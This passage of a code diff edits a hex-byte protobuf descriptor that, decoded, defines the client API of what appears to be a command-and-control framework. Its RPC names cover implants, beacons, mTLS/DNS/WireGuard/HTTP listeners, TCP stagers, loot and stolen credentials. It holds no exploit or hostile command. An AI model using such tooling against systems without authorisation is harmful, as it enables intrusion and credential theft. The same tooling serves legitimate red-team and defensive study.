+ 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, 0x61, 0x6d,
+ 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
+ 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
+ 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e,
+ 0x64, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
+ 0x74, 0x79, 0x28, 0x01, 0x12, 0x40, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61,
+ 0x6e, 0x74, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75,
+ 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48,
+ 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, 0x73,
+ 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
+ 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x33, 0x0a, 0x0c, 0x4d, 0x6f,
+ 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d,
+ 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6f,
+ 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12,
+ 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x0f,
+ 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
+ 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
+ 0x12, 0x43, 0x0a, 0x11, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x43,
+ 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
+ 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76,
- 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
- 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72,
- 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73,
- 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12,
- 0x41, 0x0a, 0x0f, 0x53, 0x74, 0x61, 0x72, 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e,
- 0x65, 0x72, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47,
- 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a,
- 0x6f, 0x62, 0x12, 0x43, 0x0a, 0x10, 0x53, 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69,
- 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71,
- 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74,
- 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x46, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74,
- 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e,
+ 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x44, 0x0a, 0x10, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72,
+ 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50,
+ 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
+ 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x44, 0x0a, 0x10, 0x4d,
+ 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x44, 0x65, 0x6c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12,
+ 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74,
+ 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, 0x2e,
+ 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73,
+ 0x65, 0x12, 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69,
+ 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65,
+ 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73,
+ 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x41, 0x0a, 0x0f, 0x53, 0x74, 0x61, 0x72,
+ 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x17, 0x2e, 0x63, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
+ 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x43, 0x0a, 0x10, 0x53,
+ 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12,
+ 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69,
+ 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62,
+ 0x12, 0x46, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, 0x69,
+ 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65,
+ 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73,
+ 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72,
+ 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e,
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73,
0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12,
- 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74,
- 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a,
- 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65,
- 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61,
- 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
- 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x42,
- 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x2d, 0x0a, 0x08, 0x52, 0x6d, 0x42,
- 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
- 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x42,
- 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69,
- 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61,
- 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e,
- 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x14, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73,
- 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61,
- 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x3e, 0x0a, 0x10, 0x43, 0x61, 0x6e, 0x63, 0x65,
- 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x14, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73,
- 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61,
- 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f,
- 0x62, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
- 0x70, 0x74, 0x79, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a,
- 0x6f, 0x62, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14,
- 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f,
- 0x62, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x37, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x61,
- 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x52, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a,
- 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
- 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, 0x61, 0x67,
- 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69,
- 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74,
- 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
- 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x29, 0x0a, 0x06,
- 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
- 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2c, 0x0a, 0x0a, 0x4c, 0x6f, 0x6f, 0x74, 0x55,
- 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e,
+ 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e,
+ 0x73, 0x12, 0x2f, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e,
+ 0x1a, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63,
+ 0x6f, 0x6e, 0x12, 0x2d, 0x0a, 0x08, 0x52, 0x6d, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e,
+ 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
+ 0x79, 0x12, 0x39, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61,
+ 0x73, 0x6b, 0x73, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42,
+ 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14,
+ 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e,
+ 0x74, 0x65, 0x6e, 0x74, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b,
+ 0x12, 0x3e, 0x0a, 0x10, 0x43, 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e,
+ 0x54, 0x61, 0x73, 0x6b, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b,
+ 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
+ 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0e, 0x2e, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x32, 0x0a, 0x07,
+ 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62,
+ 0x12, 0x37, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12,
+ 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x74, 0x61,
+ 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
+ 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61,
+ 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65,
+ 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53,
+ 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71,
+ 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67,
+ 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f,
+ 0x6f, 0x74, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, 0x74, 0x43, 0x6f, 0x6e,
- 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x6c, 0x6c, 0x12,
+ 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12,
+ 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a,
0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
- 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x4c,
- 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05, 0x43, 0x72, 0x65, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63,
- 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x15, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74,
- 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a, 0x08, 0x43, 0x72, 0x65, 0x64, 0x73, 0x41, 0x64, 0x64,
- 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64,
